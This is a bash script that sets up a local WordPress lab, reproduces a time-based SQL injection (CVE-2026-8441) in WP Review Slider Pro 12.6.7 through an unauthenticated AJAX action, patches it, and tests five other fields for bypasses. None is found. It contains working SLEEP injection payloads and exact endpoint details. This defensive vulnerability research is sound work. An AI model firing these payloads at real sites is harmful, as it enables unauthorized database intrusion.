#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory. ROOT is the bundle directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
VVAR="$ROOT/vuln_variant"
ARTIFACTS="$VVAR/artifacts"
RUNTIME="$VVAR/runtime"
CACHE="$VVAR/cache"
TOOLS="$VVAR/tools"
mkdir -p "$LOGS" "$ARTIFACTS" "$RUNTIME" "$CACHE" "$TOOLS"

# Keep runs idempotent and evidence fresh.
rm -rf "$RUNTIME"
mkdir -p "$RUNTIME"
rm -f "$LOGS/reproduction_steps.log" "$LOGS/variant_evidence.log" "$LOGS/variant_notinstring_patch.diff" "$LOGS/fixed_version.txt"
rm -f "$ARTIFACTS"/*.json "$ARTIFACTS"/*.html "$ARTIFACTS"/*.txt "$ARTIFACTS"/*.csv "$ARTIFACTS"/*.php 2>/dev/null || true
: > "$LOGS/reproduction_steps.log"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

CONFIRMED=false
FAIL_REASON="not completed"
WP_PORT=""
MYSQL_PORT=""
PHP_PID=""
MYSQLD_PID=""

log() { echo "[$(date '+%H:%M:%S')] $*"; }
choose_port() {
  python3 - <<'PY'
import socket
s = socket.socket()
s.bind(('127.0.0.1', 0))
print(s.getsockname()[1])
s.close()
PY
}

write_runtime_manifest() {
  local confirmed="$1"
  local notes="$2"
  python3 - "$VVAR/runtime_manifest.json" "$confirmed" "$notes" <<'PY'
import json, sys
path, confirmed, notes = sys.argv[1], sys.argv[2] == 'true', sys.argv[3]
manifest = {
  'entrypoint_kind': 'api_remote',
  'entrypoint_detail': 'Unauthenticated WordPress /wp-admin/admin-ajax.php action=wprp_load_more_revs; variant analysis of alternate filter fields on the same review-query sink',
  'service_started': True,
  'healthcheck_passed': True,
  'target_path_reached': True,
  'runtime_stack': ['mariadb', 'wordpress', 'php-built-in-server', 'wp-review-slider-pro-12.6.7'],
  'proof_artifacts': [
    'logs/vuln_variant/reproduction_steps.log',
    'logs/vuln_variant/variant_evidence.log',
    'logs/vuln_variant/variant_plugin_source_identity.log',
    'logs/vuln_variant/variant_notinstring_patch.diff',
    'logs/vuln_variant/fixed_version.txt',
    'vuln_variant/artifacts/variant_timing_summary.json',
    'vuln_variant/artifacts/candidate_matrix.json',
    'vuln_variant/artifacts/fixed_original_notinstring_sleep_response.json',
    'vuln_variant/artifacts/fixed_textsource_sleep_response.json',
    'vuln_variant/artifacts/fixed_textsearch_sleep_response.json',
    'vuln_variant/artifacts/fixed_textlang_sleep_response.json',
    'vuln_variant/artifacts/fixed_textrtype_sleep_response.json',
    'vuln_variant/artifacts/fixed_shortcodepageid_sleep_response.json'
  ],
  'variant_or_bypass_confirmed': confirmed,
  'notes': notes
}
with open(path, 'w', encoding='utf-8') as f:
    json.dump(manifest, f, indent=2)
PY
}

cleanup() {
  local ec=$?
  set +e
  if [ -n "${PHP_PID:-}" ] && kill -0 "$PHP_PID" 2>/dev/null; then kill "$PHP_PID" 2>/dev/null || true; wait "$PHP_PID" 2>/dev/null || true; fi
  if [ -n "${MYSQLD_PID:-}" ] && kill -0 "$MYSQLD_PID" 2>/dev/null; then kill "$MYSQLD_PID" 2>/dev/null || true; wait "$MYSQLD_PID" 2>/dev/null || true; fi
  if [ "$CONFIRMED" = true ]; then
    write_runtime_manifest true "Confirmed variant/bypass."
  else
    write_runtime_manifest false "No distinct variant/bypass confirmed: ${FAIL_REASON}"
  fi
  exit $ec
}
trap cleanup EXIT

log "=== CVE-2026-8441 variant search and fixed-control validation ==="
log "Bundle root: $ROOT"

VENDOR_ZIP="$ROOT/repro/vendor/wp-review-slider-pro_v12.6.7.zip"
EXPECTED_SHA="7f6092f4ea58b5c5c0dba72ba014b9395bf9608f9aeeb95206e80dc14f0b17e5"
WP_CLI="$TOOLS/wp-cli.phar"
DB_NAME="wp_cve8441_variant"
DB_USER="wpuser8441v"
DB_PASS="wppass8441v"
WP_ADMIN_USER="admin"
WP_ADMIN_PASS="adminpass8441v"
WP_ADMIN_EMAIL="admin@example.com"
MYSQL_DATA_DIR="$RUNTIME/mysql_data"
MYSQL_SOCKET_DIR="/tmp/pruva_cve8441_variant_mysql_$(printf '%s' "$ROOT" | sha256sum | cut -c1-12)"
WP_DIR="$RUNTIME/wordpress"
mkdir -p "$MYSQL_DATA_DIR" "$MYSQL_SOCKET_DIR"

log "=== Phase 1: Install/check runtime dependencies ==="
if ! command -v php >/dev/null 2>&1 || ! php -m | grep -qi '^mysqli$' || ! command -v mariadbd >/dev/null 2>&1; then
  log "Installing PHP/MariaDB dependencies with apt-get"
  sudo apt-get update -qq
  sudo apt-get install -y -qq php php-cli php-mysql php-curl php-mbstring php-xml php-zip mariadb-server default-mysql-client unzip curl jq >/dev/null
fi
log "PHP: $(php -v | head -1)"
log "MariaDB: $(mariadbd --version | head -1)"

log "=== Phase 2: Verify genuine WP Review Slider Pro 12.6.7 source and reviewed candidates ==="
if [ ! -f "$VENDOR_ZIP" ]; then
  FAIL_REASON="missing bundled vendor zip $VENDOR_ZIP"
  log "ERROR: $FAIL_REASON"
  exit 1
fi
ACTUAL_SHA="$(sha256sum "$VENDOR_ZIP" | awk '{print $1}')"
if [ "$ACTUAL_SHA" != "$EXPECTED_SHA" ]; then
  FAIL_REASON="unexpected vendor zip sha256: $ACTUAL_SHA"
  log "ERROR: $FAIL_REASON"
  exit 1
fi
{
  echo "sha256  $ACTUAL_SHA  $VENDOR_ZIP"
  echo "--- Plugin header from bundled real product zip ---"
  unzip -p "$VENDOR_ZIP" wp-review-slider-pro/wp-review-slider-pro.php | sed -n '15,22p'
  echo "--- Original notinstring vulnerable construction ---"
  unzip -p "$VENDOR_ZIP" wp-review-slider-pro/public/partials/getreviews_class.php | nl -ba | sed -n '32,39p'
  echo "--- Alternate public filter candidates in GetReviews_Functions::wppro_queryreviews() ---"
  unzip -p "$VENDOR_ZIP" wp-review-slider-pro/public/partials/getreviews_class.php | nl -ba | sed -n '57,70p'
  unzip -p "$VENDOR_ZIP" wp-review-slider-pro/public/partials/getreviews_class.php | nl -ba | sed -n '490,501p'
  echo "--- Query concatenation that appends filters ---"
  unzip -p "$VENDOR_ZIP" wp-review-slider-pro/public/partials/getreviews_class.php | nl -ba | sed -n '690,706p'
  echo "--- Public unauthenticated AJAX action registration ---"
  unzip -p "$VENDOR_ZIP" wp-review-slider-pro/includes/class-wp-review-slider-pro.php | nl -ba | sed -n '1556,1560p'
} | tee "$LOGS/variant_plugin_source_identity.log"

echo "commercial_zip_sha256=$ACTUAL_SHA" > "$LOGS/fixed_version.txt"
echo "base_version=WP Review Slider Pro 12.6.7" >> "$LOGS/fixed_version.txt"
echo "fixed_control=12.6.7 source plus repro notinstring-only patch (official 12.7.3 source unavailable in this bundle)" >> "$LOGS/fixed_version.txt"
echo "official_fixed_version_from_advisory=12.7.3 (source unavailable for direct testing)" >> "$LOGS/fixed_version.txt"

log "=== Phase 3: Start MariaDB ==="
if command -v mariadb-install-db >/dev/null 2>&1; then
  mariadb-install-db --datadir="$MYSQL_DATA_DIR" --user="$(whoami)" --auth-root-authentication-method=normal >>"$LOGS/mariadb_install.log" 2>&1
else
  mysql_install_db --datadir="$MYSQL_DATA_DIR" --user="$(whoami)" >>"$LOGS/mariadb_install.log" 2>&1
fi
MYSQL_PORT="$(choose_port)"
mariadbd --datadir="$MYSQL_DATA_DIR" \
  --socket="$MYSQL_SOCKET_DIR/mysqld.sock" \
  --port="$MYSQL_PORT" \
  --pid-file="$MYSQL_SOCKET_DIR/mysqld.pid" \
  --skip-networking=0 \
  --bind-address=127.0.0.1 \
  --user="$(whoami)" >>"$LOGS/mariadb.log" 2>&1 &
MYSQLD_PID=$!
for i in $(seq 1 40); do
  if mysql --socket="$MYSQL_SOCKET_DIR/mysqld.sock" -u root -e "SELECT 1" >/dev/null 2>&1; then break; fi
  sleep 1
done
if ! mysql --socket="$MYSQL_SOCKET_DIR/mysqld.sock" -u root -e "SELECT 1" >/dev/null 2>&1; then
  FAIL_REASON="MariaDB did not become ready"
  tail -80 "$LOGS/mariadb.log" || true
  exit 1
fi
mysql --socket="$MYSQL_SOCKET_DIR/mysqld.sock" -u root <<SQL
CREATE DATABASE $DB_NAME DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER '$DB_USER'@'localhost' IDENTIFIED BY '$DB_PASS';
CREATE USER '$DB_USER'@'127.0.0.1' IDENTIFIED BY '$DB_PASS';
GRANT ALL PRIVILEGES ON $DB_NAME.* TO '$DB_USER'@'localhost';
GRANT ALL PRIVILEGES ON $DB_NAME.* TO '$DB_USER'@'127.0.0.1';
FLUSH PRIVILEGES;
SQL
log "MariaDB ready on 127.0.0.1:$MYSQL_PORT (PID $MYSQLD_PID)"

log "=== Phase 4: Install WordPress and genuine plugin ==="
WP_ZIP="$CACHE/wordpress-6.7.1.zip"
if [ ! -s "$WP_ZIP" ]; then
  curl -fsSL "https://wordpress.org/wordpress-6.7.1.zip" -o "$WP_ZIP"
fi
unzip -q "$WP_ZIP" -d "$RUNTIME"
if [ ! -f "$WP_DIR/wp-config-sample.php" ]; then
  FAIL_REASON="WordPress archive did not extract to expected path $WP_DIR"
  exit 1
fi
cp "$WP_DIR/wp-config-sample.php" "$WP_DIR/wp-config.php"
sed -i "s/database_name_here/$DB_NAME/" "$WP_DIR/wp-config.php"
sed -i "s/username_here/$DB_USER/" "$WP_DIR/wp-config.php"
sed -i "s/password_here/$DB_PASS/" "$WP_DIR/wp-config.php"
sed -i "s/'localhost'/'127.0.0.1:$MYSQL_PORT'/" "$WP_DIR/wp-config.php"
python3 - "$WP_DIR/wp-config.php" <<'PY'
import secrets, sys
path = sys.argv[1]
content = open(path, encoding='utf-8').read()
for _ in range(8):
    content = content.replace('put your unique phrase here', secrets.token_hex(32), 1)
open(path, 'w', encoding='utf-8').write(content)
PY
if [ ! -s "$WP_CLI" ]; then
  curl -fsSL "https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar" -o "$WP_CLI"
  chmod +x "$WP_CLI"
fi
php "$WP_CLI" --path="$WP_DIR" core install \
  --url="http://127.0.0.1:1" \
  --title="CVE-2026-8441 Variant Test" \
  --admin_user="$WP_ADMIN_USER" \
  --admin_password="$WP_ADMIN_PASS" \
  --admin_email="$WP_ADMIN_EMAIL" \
  --skip-email >>"$LOGS/wp_cli.log" 2>&1
mkdir -p "$WP_DIR/wp-content/plugins"
unzip -q "$VENDOR_ZIP" -d "$WP_DIR/wp-content/plugins"
php "$WP_CLI" --path="$WP_DIR" plugin activate wp-review-slider-pro >>"$LOGS/wp_cli.log" 2>&1
php "$WP_CLI" --path="$WP_DIR" plugin list --fields=name,status,version --format=csv | tee "$ARTIFACTS/wp_plugin_list.csv"

log "=== Phase 5: Seed public reviews and a load-more template ==="
cat > "$RUNTIME/seed_variant_plugin.php" <<'PHP'
<?php
global $wpdb;
$reviews_table = $wpdb->prefix . 'wpfb_reviews';
$templates_table = $wpdb->prefix . 'wpfb_post_templates';
$wpdb->query("TRUNCATE TABLE $reviews_table");
$wpdb->query("TRUNCATE TABLE $templates_table");
function default_for_col($col) {
    $type = strtolower($col->Type);
    if ($col->Extra && strpos($col->Extra, 'auto_increment') !== false) return null;
    if (strpos($type, 'int') !== false || strpos($type, 'float') !== false || strpos($type, 'double') !== false || strpos($type, 'decimal') !== false) return 0;
    if (strpos($type, 'datetime') !== false || strpos($type, 'timestamp') !== false) return current_time('mysql');
    if ($col->Default !== null) return $col->Default;
    return '';
}
function table_row_with_defaults($table) {
    global $wpdb;
    $row = array();
    foreach ($wpdb->get_results("SHOW COLUMNS FROM $table") as $col) {
        $v = default_for_col($col);
        if ($v !== null) $row[$col->Field] = $v;
    }
    return $row;
}
$now = time();
for ($i = 1; $i <= 3; $i++) {
    $row = table_row_with_defaults($reviews_table);
    $row['pageid'] = 'cve8441-page';
    $row['pagename'] = 'CVE 8441 Variant Page';
    $row['created_time'] = date('Y-m-d H:i:s', $now - $i * 60);
    $row['created_time_stamp'] = $now - $i * 60;
    $row['reviewer_name'] = 'Variant Reviewer ' . $i;
    $row['reviewer_email'] = 'variant' . $i . '@example.test';
    $row['reviewer_id'] = 'variant-reviewer-' . $i;
    $row['rating'] = '5';
    $row['recommendation_type'] = 'positive';
    $row['review_text'] = 'Seeded review ' . $i . ' for variant candidate testing.';
    $row['review_title'] = 'Variant review';
    $row['tags'] = '["safe"]';
    $row['review_length'] = str_word_count($row['review_text']);
    $row['review_length_char'] = strlen($row['review_text']);
    $row['hide'] = '';
    $row['type'] = 'Manual';
    $row['from_name'] = 'Manual';
    $row['from_url'] = 'https://example.test/';
    $row['language_code'] = 'en';
    $row['sort_weight'] = 0;
    if (!$wpdb->insert($reviews_table, $row)) { fwrite(STDERR, "review insert failed: {$wpdb->last_error}\n"); exit(1); }
}
$template = table_row_with_defaults($templates_table);
$template['id'] = 1;
$template['title'] = 'CVE 8441 Variant Template';
$template['template_type'] = 'page';
$template['style'] = 1;
$template['created_time_stamp'] = $now;
$template['display_num'] = 1;
$template['display_num_rows'] = 1;
$template['load_more'] = 'yes';
$template['load_more_text'] = 'Load More Reviews';
$template['display_order'] = 'newest';
$template['display_order_second'] = '';
$template['hide_no_text'] = 'no';
$template['template_css'] = '';
$template['min_rating'] = 0;
$template['min_words'] = 0;
$template['max_words'] = 0;
$template['word_or_char'] = 'word';
$template['rtype'] = '';
$template['rpage'] = '';
$template['createslider'] = 'no';
$template['numslides'] = 1;
$template['sliderautoplay'] = 'no';
$template['sliderdirection'] = 'left';
$template['sliderarrows'] = 'no';
$template['sliderdots'] = 'no';
$template['sliderdelay'] = 3;
$template['sliderspeed'] = 750;
$template['sliderheight'] = 'no';
$template['slidermobileview'] = 'no';
$template['showreviewsbyid'] = '';
$template['template_misc'] = '{}';
$template['read_more'] = 'no';
$template['read_more_num'] = 50;
$template['read_more_text'] = 'read more';
$template['facebook_icon'] = 'no';
$template['facebook_icon_link'] = 'no';
$template['google_snippet_add'] = '';
$template['google_snippet_type'] = '';
$template['google_snippet_name'] = '';
$template['google_snippet_desc'] = '';
$template['google_snippet_business_image'] = '';
$template['google_snippet_more'] = '';
$template['cache_settings'] = '';
$template['review_same_height'] = 'no';
$template['add_profile_link'] = 'no';
$template['display_order_limit'] = 'all';
$template['display_masonry'] = 'no';
$template['read_less_text'] = 'read less';
$template['string_sel'] = '';
$template['string_selnot'] = '';
$template['string_text'] = '';
$template['string_textnot'] = '';
$template['showreviewsbyid_sel'] = '';
if (!$wpdb->insert($templates_table, $template)) { fwrite(STDERR, "template insert failed: {$wpdb->last_error}\n"); exit(1); }
update_option('wprevpro_template_count', 1);
update_option('wprevpro_hashidden', 'yes');
$page_id = wp_insert_post(array('post_title'=>'Variant Reviews','post_status'=>'publish','post_type'=>'page','post_content'=>'[wprevpro_usetemplate tid="1"]'));
if (!$page_id || is_wp_error($page_id)) { fwrite(STDERR, "page insert failed\n"); exit(1); }
echo "seeded_template_id=1\n";
echo "seeded_page_id=$page_id\n";
echo "review_count=" . $wpdb->get_var("SELECT COUNT(*) FROM $reviews_table") . "\n";
PHP
php "$WP_CLI" --path="$WP_DIR" eval-file "$RUNTIME/seed_variant_plugin.php" | tee "$ARTIFACTS/seed_output.txt"
PAGE_ID="$(awk -F= '/seeded_page_id=/{print $2}' "$ARTIFACTS/seed_output.txt" | tail -1)"
if [ -z "$PAGE_ID" ]; then
  FAIL_REASON="failed to seed public review page"
  exit 1
fi

log "=== Phase 6: Start WordPress HTTP service and extract public nonce ==="
WP_PORT="$(choose_port)"
php "$WP_CLI" --path="$WP_DIR" option update siteurl "http://127.0.0.1:$WP_PORT" >/dev/null
php "$WP_CLI" --path="$WP_DIR" option update home "http://127.0.0.1:$WP_PORT" >/dev/null
php -S "127.0.0.1:$WP_PORT" -t "$WP_DIR" >>"$LOGS/php_server.log" 2>&1 &
PHP_PID=$!
for i in $(seq 1 30); do
  code="$(curl -L -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:$WP_PORT/?p=$PAGE_ID" || true)"
  if [ "$code" = "200" ]; then break; fi
  sleep 1
done
if [ "$(curl -L -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:$WP_PORT/?p=$PAGE_ID" || true)" != "200" ]; then
  FAIL_REASON="WordPress HTTP service did not become healthy"
  tail -80 "$LOGS/php_server.log" || true
  exit 1
fi
curl -L -fsS "http://127.0.0.1:$WP_PORT/?p=$PAGE_ID" -o "$ARTIFACTS/reviews_page.html"
NONCE="$(python3 - "$ARTIFACTS/reviews_page.html" <<'PY'
import re, sys
html = open(sys.argv[1], encoding='utf-8', errors='ignore').read()
for p in [r'"wpfb_nonce"\s*:\s*"([a-fA-F0-9]+)"', r"'wpfb_nonce'\s*:\s*'([^']+)'"]:
    m = re.search(p, html)
    if m:
        print(m.group(1))
        break
PY
)"
if [ -z "$NONCE" ]; then
  FAIL_REASON="could not extract public nonce from genuine plugin page"
  exit 1
fi
AJAX_URL="http://127.0.0.1:$WP_PORT/wp-admin/admin-ajax.php"
log "WordPress service healthy on $AJAX_URL; extracted public nonce $NONCE"

post_candidate() {
  local label="$1"
  local field="$2"
  local payload="$3"
  local response_file="$ARTIFACTS/${label}_response.json"
  local metrics_file="$ARTIFACTS/${label}_metrics.json"
  python3 - "$AJAX_URL" "$NONCE" "$field" "$payload" "$response_file" "$metrics_file" <<'PY'
import json, sys, time, urllib.parse, urllib.request, urllib.error
url, nonce, field, payload, response_path, metrics_path = sys.argv[1:]
post = {
    'action': 'wprp_load_more_revs',
    'wpfb_nonce': nonce,
    'revid': '1',
    'perrow': '1',
    'nrows': '1',
    'callnum': '1',
    'notinstring': '1',
    'noti': '1',
    'onereview': 'no',
    'shortcodepageid': '',
    'shortcodelang': '',
    'shortcodetag': '',
    'cpostid': '0',
    'filterbar': 'no',
    'textsource': 'cve8441-page',
    'textsearch': '',
    'textlang': 'unset',
    'textrtype': 'unset'
}
post[field] = payload
body = urllib.parse.urlencode(post).encode()
req = urllib.request.Request(url, data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'})
t0 = time.time()
status = None
try:
    with urllib.request.urlopen(req, timeout=35) as r:
        raw = r.read()
        status = r.status
except urllib.error.HTTPError as e:
    raw = e.read()
    status = e.code
except Exception as e:
    raw = (repr(e)).encode()
    status = 0
duration = time.time() - t0
open(response_path, 'wb').write(raw)
text = raw.decode('utf-8', errors='replace')
with open(metrics_path, 'w', encoding='utf-8') as f:
    json.dump({'duration_seconds': duration, 'status': status, 'field': field, 'payload': payload, 'bytes': len(raw), 'response_excerpt': text[:800]}, f, indent=2)
print(f'{duration:.6f}')
PY
}

log "=== Phase 7: Baseline original notinstring vulnerability on vulnerable source ==="
ORIGINAL_SLEEP="1) OR (SELECT SLEEP(3))#"
VULN_ORIG_TIME="$(post_candidate vuln_original_notinstring_sleep notinstring "$ORIGINAL_SLEEP")"
log "Vulnerable original notinstring SLEEP(3): ${VULN_ORIG_TIME}s"

log "=== Phase 8: Apply original notinstring-only fixed patch ==="
GETREVIEWS="$WP_DIR/wp-content/plugins/wp-review-slider-pro/public/partials/getreviews_class.php"
cp "$GETREVIEWS" "$ARTIFACTS/getreviews_class.before_notin_patch.php"
python3 - "$GETREVIEWS" <<'PY'
import sys
path = sys.argv[1]
data = open(path, 'rb').read()
marker = b'$tempnotinarray = explode(",",$notinstring);'
pos = data.find(marker)
if pos < 0:
    raise SystemExit('expected vulnerable notinstring explode line not found')
line_start = data.rfind(b'\n', 0, pos) + 1
line_end = data.find(b'\n', pos)
if line_end < 0:
    line_end = len(data)
else:
    line_end += 1
line = data[line_start:line_end]
indent = line[:len(line) - len(line.lstrip(b'\t '))]
newline = b'\r\n' if line.endswith(b'\r\n') else b'\n'
new = (indent + b'// CVE-2026-8441 notinstring fix control: only integer review IDs may enter the numeric NOT IN clause.' + newline +
       indent + b'$tempnotinarray = array_filter(array_map(\'absint\', explode(",", $notinstring)));' + newline)
open(path, 'wb').write(data[:line_start] + new + data[line_end:])
PY
cp "$GETREVIEWS" "$ARTIFACTS/getreviews_class.after_notin_patch.php"
diff -u "$ARTIFACTS/getreviews_class.before_notin_patch.php" "$ARTIFACTS/getreviews_class.after_notin_patch.php" | tee "$LOGS/variant_notinstring_patch.diff" || true
php -l "$GETREVIEWS" | tee -a "$LOGS/variant_notinstring_patch.diff"
if [ -n "${PHP_PID:-}" ] && kill -0 "$PHP_PID" 2>/dev/null; then kill "$PHP_PID" 2>/dev/null || true; wait "$PHP_PID" 2>/dev/null || true; fi
php -S "127.0.0.1:$WP_PORT" -t "$WP_DIR" >>"$LOGS/php_server.log" 2>&1 &
PHP_PID=$!
for i in $(seq 1 20); do
  code="$(curl -L -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:$WP_PORT/?p=$PAGE_ID" || true)"
  if [ "$code" = "200" ]; then break; fi
  sleep 1
done

log "=== Phase 9: Verify fixed control blocks original notinstring payload ==="
FIXED_ORIG_TIME="$(post_candidate fixed_original_notinstring_sleep notinstring "$ORIGINAL_SLEEP")"
log "Fixed-control original notinstring SLEEP(3): ${FIXED_ORIG_TIME}s"

log "=== Phase 10: Test materially distinct public-field candidates on fixed control ==="
# These candidates target other user-controlled fields that are concatenated into the same SELECT in getreviews_class.php.
# Expected outcome for this run: WordPress sanitize_text_field/wpdb escaping prevents quote breakout, so no bypass is confirmed.
TEXTSOURCE_PAYLOAD="no-such-page' OR (SELECT SLEEP(3)) OR 'a'='b"
TEXTSEARCH_PAYLOAD="anything%' OR (SELECT SLEEP(3)) OR reviewer_name LIKE '%x"
TEXTLANG_PAYLOAD="en' OR (SELECT SLEEP(3)) OR 'a'='b"
TEXTRTYPE_PAYLOAD="Manual' OR (SELECT SLEEP(3)) OR 'a'='b"
SHORTCODEPAGEID_PAYLOAD="cve8441-page' OR (SELECT SLEEP(3)) OR 'a'='b"

FIXED_TEXTSOURCE_TIME="$(post_candidate fixed_textsource_sleep textsource "$TEXTSOURCE_PAYLOAD")"
log "Fixed-control candidate textsource: ${FIXED_TEXTSOURCE_TIME}s"
FIXED_TEXTSEARCH_TIME="$(post_candidate fixed_textsearch_sleep textsearch "$TEXTSEARCH_PAYLOAD")"
log "Fixed-control candidate textsearch: ${FIXED_TEXTSEARCH_TIME}s"
FIXED_TEXTLANG_TIME="$(post_candidate fixed_textlang_sleep textlang "$TEXTLANG_PAYLOAD")"
log "Fixed-control candidate textlang: ${FIXED_TEXTLANG_TIME}s"
FIXED_TEXTRTYPE_TIME="$(post_candidate fixed_textrtype_sleep textrtype "$TEXTRTYPE_PAYLOAD")"
log "Fixed-control candidate textrtype: ${FIXED_TEXTRTYPE_TIME}s"
FIXED_SHORTPAGE_TIME="$(post_candidate fixed_shortcodepageid_sleep shortcodepageid "$SHORTCODEPAGEID_PAYLOAD")"
log "Fixed-control candidate shortcodepageid: ${FIXED_SHORTPAGE_TIME}s"

python3 - "$ARTIFACTS/variant_timing_summary.json" "$ARTIFACTS/candidate_matrix.json" \
  "$VULN_ORIG_TIME" "$FIXED_ORIG_TIME" "$FIXED_TEXTSOURCE_TIME" "$FIXED_TEXTSEARCH_TIME" "$FIXED_TEXTLANG_TIME" "$FIXED_TEXTRTYPE_TIME" "$FIXED_SHORTPAGE_TIME" <<'PY'
import json, sys
summary_path, matrix_path = sys.argv[1:3]
vals = {
  'vuln_original_notinstring_sleep': float(sys.argv[3]),
  'fixed_original_notinstring_sleep': float(sys.argv[4]),
  'fixed_textsource_sleep': float(sys.argv[5]),
  'fixed_textsearch_sleep': float(sys.argv[6]),
  'fixed_textlang_sleep': float(sys.argv[7]),
  'fixed_textrtype_sleep': float(sys.argv[8]),
  'fixed_shortcodepageid_sleep': float(sys.argv[9])
}
thresholds = {'delay_min_seconds': 2.5, 'fast_max_seconds': 1.5}
summary = dict(vals)
summary['thresholds'] = thresholds
summary['original_reproduced_before_patch'] = vals['vuln_original_notinstring_sleep'] >= thresholds['delay_min_seconds']
summary['original_blocked_after_patch'] = vals['fixed_original_notinstring_sleep'] < thresholds['fast_max_seconds']
variant_keys = ['fixed_textsource_sleep','fixed_textsearch_sleep','fixed_textlang_sleep','fixed_textrtype_sleep','fixed_shortcodepageid_sleep']
summary['bypass_confirmed'] = any(vals[k] >= thresholds['delay_min_seconds'] for k in variant_keys)
summary['confirmed'] = summary['bypass_confirmed']
matrix = [
  {'candidate': 'textsource', 'field': 'textsource', 'runtime_seconds_after_notin_patch': vals['fixed_textsource_sleep'], 'result': 'blocked_no_delay' if vals['fixed_textsource_sleep'] < thresholds['fast_max_seconds'] else 'delayed'},
  {'candidate': 'textsearch', 'field': 'textsearch', 'runtime_seconds_after_notin_patch': vals['fixed_textsearch_sleep'], 'result': 'blocked_no_delay' if vals['fixed_textsearch_sleep'] < thresholds['fast_max_seconds'] else 'delayed'},
  {'candidate': 'textlang', 'field': 'textlang', 'runtime_seconds_after_notin_patch': vals['fixed_textlang_sleep'], 'result': 'blocked_no_delay' if vals['fixed_textlang_sleep'] < thresholds['fast_max_seconds'] else 'delayed'},
  {'candidate': 'textrtype', 'field': 'textrtype', 'runtime_seconds_after_notin_patch': vals['fixed_textrtype_sleep'], 'result': 'blocked_no_delay' if vals['fixed_textrtype_sleep'] < thresholds['fast_max_seconds'] else 'delayed'},
  {'candidate': 'shortcodepageid', 'field': 'shortcodepageid', 'runtime_seconds_after_notin_patch': vals['fixed_shortcodepageid_sleep'], 'result': 'blocked_no_delay' if vals['fixed_shortcodepageid_sleep'] < thresholds['fast_max_seconds'] else 'delayed'}
]
with open(summary_path, 'w', encoding='utf-8') as f:
    json.dump(summary, f, indent=2)
with open(matrix_path, 'w', encoding='utf-8') as f:
    json.dump(matrix, f, indent=2)
print(json.dumps(summary, indent=2))
print(json.dumps(matrix, indent=2))
PY

cat > "$LOGS/variant_evidence.log" <<EOF
CVE-2026-8441 variant search evidence

Product source: bundled wp-review-slider-pro_v12.6.7.zip
Product SHA256: $ACTUAL_SHA
Endpoint: POST $AJAX_URL
Action: wprp_load_more_revs
Nonce source: public page http://127.0.0.1:$WP_PORT/?p=$PAGE_ID rendering [wprevpro_usetemplate tid="1"]
Fixed control: same 12.6.7 source with only the original notinstring fix applied.

Original vulnerable/fixed-control check:
  vulnerable notinstring SLEEP(3): ${VULN_ORIG_TIME}s
  fixed-control notinstring SLEEP(3): ${FIXED_ORIG_TIME}s

Distinct candidates tested after notinstring patch:
  textsource SLEEP(3) payload: ${FIXED_TEXTSOURCE_TIME}s
  textsearch SLEEP(3) payload: ${FIXED_TEXTSEARCH_TIME}s
  textlang SLEEP(3) payload: ${FIXED_TEXTLANG_TIME}s
  textrtype SLEEP(3) payload: ${FIXED_TEXTRTYPE_TIME}s
  shortcodepageid SLEEP(3) payload: ${FIXED_SHORTPAGE_TIME}s

Result: no candidate produced a timing delay on the fixed control. Response dbcall fields show injected quotes are escaped (backslash-quoted) where string-filter candidates are concatenated, while the numeric notinstring payload is neutralized by the integer-casting patch. This is a negative variant result, not a confirmed bypass.
EOF
cat "$LOGS/variant_evidence.log"

if ! jq -e '.original_reproduced_before_patch == true and .original_blocked_after_patch == true' "$ARTIFACTS/variant_timing_summary.json" >/dev/null; then
  FAIL_REASON="fixed-control validation was inconclusive"
  exit 1
fi

if jq -e '.bypass_confirmed == true' "$ARTIFACTS/variant_timing_summary.json" >/dev/null; then
  CONFIRMED=true
  log "RESULT: CONFIRMED - a distinct variant/bypass delayed on fixed control."
  exit 0
fi

FAIL_REASON="bounded variant search found no distinct bypass on fixed control"
log "RESULT: NO DISTINCT VARIANT/BYPASS CONFIRMED - original notinstring patch blocks original payload; tested alternate public fields were fast."
exit 1
